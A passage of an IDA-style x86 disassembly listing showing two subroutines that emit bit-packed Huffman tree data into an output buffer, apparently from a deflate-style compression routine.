mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_C]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_8]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C316A
; ---------------------------------------------------------------------------
loc_4C312A: ; CODE XREF: sub_4C3039+1Ej
mov edx, [ebp+arg_4]
sub edx, 101h
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C316A: ; CODE XREF: sub_4C3039+EFj
mov [ebp+var_10], 5
mov edx, 10h
sub edx, [ebp+var_10]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C3251
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_10]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C328E
; ---------------------------------------------------------------------------
loc_4C3251: ; CODE XREF: sub_4C3039+149j
mov edx, [ebp+arg_8]
sub edx, 1
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C328E: ; CODE XREF: sub_4C3039+216j
mov [ebp+var_18], 4
mov edx, 10h
sub edx, [ebp+var_18]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C3375
mov ecx, [ebp+arg_C]
sub ecx, 4
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_1C]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_1C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_18]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C33B2
; ---------------------------------------------------------------------------
loc_4C3375: ; CODE XREF: sub_4C3039+26Dj
mov edx, [ebp+arg_C]
sub edx, 4
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_18]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C33B2: ; CODE XREF: sub_4C3039+33Aj
mov [ebp+var_4], 0
jmp short loc_4C33C4
; ---------------------------------------------------------------------------
loc_4C33BB: ; CODE XREF: sub_4C3039:loc_4C351Bj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4C33C4: ; CODE XREF: sub_4C3039+380j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_C]
jge loc_4C3520
mov [ebp+var_20], 3
mov ecx, 10h
sub ecx, [ebp+var_20]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C34CA
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, byte_4F2594[eax]
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+ecx*4+0A76h]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_24]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_20]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C351B
; ---------------------------------------------------------------------------
loc_4C34CA: ; CODE XREF: sub_4C3039+3AFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, byte_4F2594[ecx]
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+edx*4+0A76h]
mov edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_20]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C351B: ; CODE XREF: sub_4C3039+48Fj
jmp loc_4C33BB
; ---------------------------------------------------------------------------
loc_4C3520: ; CODE XREF: sub_4C3039+391j
mov edx, [ebp+arg_4]
sub edx, 1
push edx
mov eax, [ebp+arg_0]
add eax, 8Ch
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C355C
add esp, 0Ch
mov edx, [ebp+arg_8]
sub edx, 1
push edx
mov eax, [ebp+arg_0]
add eax, 980h
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4C355C
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_4C3039 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C355C proc near ; CODE XREF: sub_4C3039+4FBp
; sub_4C3039+517p
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 5Ch
mov [ebp+var_18], 0FFFFFFFFh
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+2]
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
mov [ebp+var_C], 7
mov [ebp+var_10], 4
cmp [ebp+var_8], 0
jnz short loc_4C359E
mov [ebp+var_C], 8Ah
mov [ebp+var_10], 3
loc_4C359E: ; CODE XREF: sub_4C355C+32j
mov [ebp+var_1C], 0
jmp short loc_4C35B0
; ---------------------------------------------------------------------------
loc_4C35A7: ; CODE XREF: sub_4C355C+8Fj
; sub_4C355C:loc_4C402Bj
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
loc_4C35B0: ; CODE XREF: sub_4C355C+49j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_8]
jg loc_4C4030
mov ecx, [ebp+var_8]
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+edx*4+6]
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jge short loc_4C35ED
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_8]
jnz short loc_4C35ED
jmp short loc_4C35A7
; ---------------------------------------------------------------------------
loc_4C35ED: ; CODE XREF: sub_4C355C+85j
; sub_4C355C+8Dj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_10]
jge loc_4C3755
loc_4C35F9: ; CODE XREF: sub_4C355C+1EEj
mov eax, [ebp+var_14]
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+eax*4+0A76h]
mov [ebp+var_20], edx
mov eax, 10h
sub eax, [ebp+var_20]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C36F6
mov edx, [ebp+var_14]
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+edx*4+0A74h]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_24]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_20]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C373D
; ---------------------------------------------------------------------------
loc_4C36F6: ; CODE XREF: sub_4C355C+C1j
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+ecx*4+0A74h]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+16B4h]
shl eax, cl
mov edx, [ebp+arg_0]
mov cx, [edx+16B0h]
or cx, ax
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_20]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C373D: ; CODE XREF: sub_4C355C+198j
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz loc_4C35F9
jmp loc_4C3FE2
; ---------------------------------------------------------------------------
loc_4C3755: ; CODE XREF: sub_4C355C+97j
cmp [ebp+var_14], 0
jz loc_4C3B1B
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_18]
jz loc_4C38B9
mov edx, [ebp+var_14]
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+edx*4+0A76h]
mov [ebp+var_28], ecx
mov edx, 10h
sub edx, [ebp+var_28]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C3869
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+ecx*4+0A74h]
mov [ebp+var_2C], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_2C]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_2C]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_28]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C38B0
; ---------------------------------------------------------------------------
loc_4C3869: ; CODE XREF: sub_4C355C+233j
mov ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+ecx*4+0A74h]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+16B4h]
shl eax, cl
mov edx, [ebp+arg_0]
mov cx, [edx+16B0h]
or cx, ax
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
add ecx, [ebp+var_28]
mov edx, [ebp+arg_0]
mov [edx+16B4h], ecx
loc_4C38B0: ; CODE XREF: sub_4C355C+30Bj
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_4C38B9: ; CODE XREF: sub_4C355C+209j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+0AB6h]
mov [ebp+var_30], edx
mov eax, 10h
sub eax, [ebp+var_30]
mov ecx, [ebp+arg_0]
cmp [ecx+16B4h], eax
jle loc_4C39AF
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0AB4h]
mov [ebp+var_34], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_34]
mov ecx, [ecx+16B4h]
shl edx, cl
mov eax, [ebp+arg_0]
mov cx, [eax+16B0h]
or cx, dx
mov edx, [ebp+arg_0]
mov [edx+16B0h], cx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
and ecx, 0FFh
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+16B0h]
sar ecx, 8
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov edx, [ebp+arg_0]
mov edx, [edx+14h]
mov [eax+edx], cl
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+14h], ecx
mov eax, [ebp+var_34]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, 10h
sub edx, [ecx+16B4h]
mov ecx, edx
sar eax, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_30]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C39F2
; ---------------------------------------------------------------------------
loc_4C39AF: ; CODE XREF: sub_4C355C+37Dj
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+0AB4h]
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_30]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C39F2: ; CODE XREF: sub_4C355C+451j
mov [ebp+var_38], 2
mov edx, 10h
sub edx, [ebp+var_38]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C3AD9
mov ecx, [ebp+var_4]
sub ecx, 3
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_3C]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_3C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_38]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C3B16
; ---------------------------------------------------------------------------
loc_4C3AD9: ; CODE XREF: sub_4C355C+4AEj
mov edx, [ebp+var_4]
sub edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_38]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C3B16: ; CODE XREF: sub_4C355C+57Bj
jmp loc_4C3FE2
; ---------------------------------------------------------------------------
loc_4C3B1B: ; CODE XREF: sub_4C355C+1FDj
cmp [ebp+var_4], 0Ah
jg loc_4C3D86
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0ABAh]
mov [ebp+var_40], eax
mov ecx, 10h
sub ecx, [ebp+var_40]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C3C1A
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0AB8h]
mov [ebp+var_44], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_44]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_44]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_40]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C3C5D
; ---------------------------------------------------------------------------
loc_4C3C1A: ; CODE XREF: sub_4C355C+5E9j
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+0AB8h]
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_40]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C3C5D: ; CODE XREF: sub_4C355C+6BCj
mov [ebp+var_48], 3
mov edx, 10h
sub edx, [ebp+var_48]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C3D44
mov ecx, [ebp+var_4]
sub ecx, 3
mov [ebp+var_4C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4C]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_4C]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_48]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C3D81
; ---------------------------------------------------------------------------
loc_4C3D44: ; CODE XREF: sub_4C355C+719j
mov edx, [ebp+var_4]
sub edx, 3
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_48]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C3D81: ; CODE XREF: sub_4C355C+7E6j
jmp loc_4C3FE2
; ---------------------------------------------------------------------------
loc_4C3D86: ; CODE XREF: sub_4C355C+5C3j
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0ABEh]
mov [ebp+var_50], eax
mov ecx, 10h
sub ecx, [ebp+var_50]
mov edx, [ebp+arg_0]
cmp [edx+16B4h], ecx
jle loc_4C3E7B
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0ABCh]
mov [ebp+var_54], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_54]
mov ecx, [edx+16B4h]
shl eax, cl
mov ecx, [ebp+arg_0]
mov dx, [ecx+16B0h]
or dx, ax
mov eax, [ebp+arg_0]
mov [eax+16B0h], dx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
and edx, 0FFh
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+16B0h]
sar edx, 8
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov eax, [ebp+arg_0]
mov eax, [eax+14h]
mov [ecx+eax], dl
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+14h], edx
mov edx, [ebp+var_54]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov ecx, 10h
sub ecx, [eax+16B4h]
sar edx, cl
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], dx
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
mov ecx, [ebp+var_50]
lea edx, [eax+ecx-10h]
mov eax, [ebp+arg_0]
mov [eax+16B4h], edx
jmp short loc_4C3EBE
; ---------------------------------------------------------------------------
loc_4C3E7B: ; CODE XREF: sub_4C355C+84Aj
mov ecx, [ebp+arg_0]
xor edx, edx
mov dx, [ecx+0ABCh]
mov eax, [ebp+arg_0]
mov ecx, [eax+16B4h]
shl edx, cl
mov ecx, [ebp+arg_0]
mov ax, [ecx+16B0h]
or ax, dx
mov ecx, [ebp+arg_0]
mov [ecx+16B0h], ax
mov edx, [ebp+arg_0]
mov eax, [edx+16B4h]
add eax, [ebp+var_50]
mov ecx, [ebp+arg_0]
mov [ecx+16B4h], eax
loc_4C3EBE: ; CODE XREF: sub_4C355C+91Dj
mov [ebp+var_58], 7
mov edx, 10h
sub edx, [ebp+var_58]
mov eax, [ebp+arg_0]
cmp [eax+16B4h], edx
jle loc_4C3FA5
mov ecx, [ebp+var_4]
sub ecx, 0Bh
mov [ebp+var_5C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_5C]
